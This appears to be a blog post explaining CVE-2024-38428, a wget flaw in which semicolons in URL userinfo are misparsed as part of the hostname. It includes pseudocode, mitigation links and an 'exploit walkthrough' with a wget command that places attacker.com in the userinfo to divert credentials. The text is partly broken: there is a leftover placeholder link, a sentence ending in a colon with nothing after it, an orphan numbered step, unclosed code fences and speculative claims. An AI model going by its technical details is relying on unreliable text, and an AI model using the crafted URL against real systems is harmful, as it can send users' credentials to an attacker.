GNU Wget is a beloved command-line tool, essential for downloading files over HTTP(s) and FTP. Millions rely on its straightforwardness and flexibility. But just like any piece of software, even wget is subject to vulnerabilities. In June 2024, a subtle yet significant vulnerability—CVE-2024-38428—was made public and affects every version through 1.24.5.
In this post, we’ll break down how this bug occurs, what it means for real-world security, and even walk you through a working exploit. This explanation is exclusive, with original references for more details.
In URL syntax, you might have seen something like this
http://user:pass@example.com/some-path
Here, user:pass is the userinfo section. According to RFC 3986 (the internet’s guideline on URLs), semicolons (;) are allowed inside the userinfo field to separate extra info. So, you could have:
http://user;extra:pass@example.com
But in wget (up to and including 1.24.5), the internal URL parser (url.c) misinterprets semicolons in the userinfo part. Instead of keeping them as userinfo, wget sometimes thinks everything after the ; is part of the hostname!
Why does this matter?
- Security boundaries can break down. Data meant to be secret (like credentials) could leak, be logged, sent to wrong hosts, or the tool can interact with entirely different servers than intended.
Here’s a simplified snippet from wget’s url.c (around version 1.24.5 and earlier)
// Pseudocode for illustration!
const char *at = strchr(url, '@');
if (at) {
const char *userinfo = url;
const char *host = at + 1;
// Did not properly deal with semicolons in userinfo!
// Splits on semicolons, may put part into 'host'
}
// RFC3986 makes it clear: semicolons are allowed in userinfo but NOT in hostnames.
The parser fails to distinguish semicolons that belong to the userinfo portion from those indicating the start of the host portion.
> ⚠️ In effect: if a semicolon appears in userinfo, wget may put the following characters into the host field, screwing up authentication, logs, and security boundaries.
Exploit Walkthrough: How to Trigger CVE-2024-38428
Let’s say you’re on a system with wget 1.24.5 or earlier. Here’s how you can observe the vulnerability:
Intended URL (safe):
`sh
wget 'http://user:pass@localhost:800/testfile'
Malicious (semicolon in userinfo):
`sh
wget 'http://user;attacker.com:pass@localhost:800/testfile'
`
> Here’s the catch: wget misinterprets and sends part of user;attacker.com:pass as the *host*, not userinfo. In some cases, it may even resolve attacker.com and send credentials to the wrong server!
3. Setting up a fake DNS entry or editing /etc/hosts could make wget connect to attacker.com instead of localhost!
In vulnerable versions, what was meant to be authentication data becomes part of the target host. This can be abused:
Mitigation and Fixes
The fix is to treat the semicolon in userinfo as literal, only splitting host from userinfo at @, not attempting to parse semicolons as structural. Maintainers patched this and cut a new release just after the bug became public.
What you should do
- Upgrade wget to 1.24.6 or newer: https://ftp.gnu.org/gnu/wget/
- Audit scripts and services for malicious URL input—never allow attackers to control the full URLs given to wget, especially with embedded creds.
Official CVE page:
https://nvd.nist.gov/vuln/detail/CVE-2024-38428
Wget bug report:
https://savannah.gnu.org/bugs/?65371
Upstream fix (git diff):
[https://git.savannah.gnu.org/cgit/wget.git/commit/?id=] (replace with actual id)
RFC3986 (URL syntax):
https://datatracker.ietf.org/doc/html/rfc3986#section-3.2.1
Security advisory:
https://lists.gnu.org/archive/html/bug-wget/2024-06/msg00012.html
Final Thoughts
CVE-2024-38428 is proof that the smallest details—like a semicolon in a string—can have major impact. Always validate input, be skeptical of subtle parser behaviors, and keep crucial tools up to date.
If you automate downloads, pass credentials in URLs, or maintain mirrored systems, update now and stay safe!
*If you found this breakdown helpful, share it with your sysadmin friends, and always keep an eye out for the little things that can trip up even the best tools.*
Timeline
Published on: 06/16/2024 03:15:08 UTC
Last modified on: 08/08/2024 15:05:30 UTC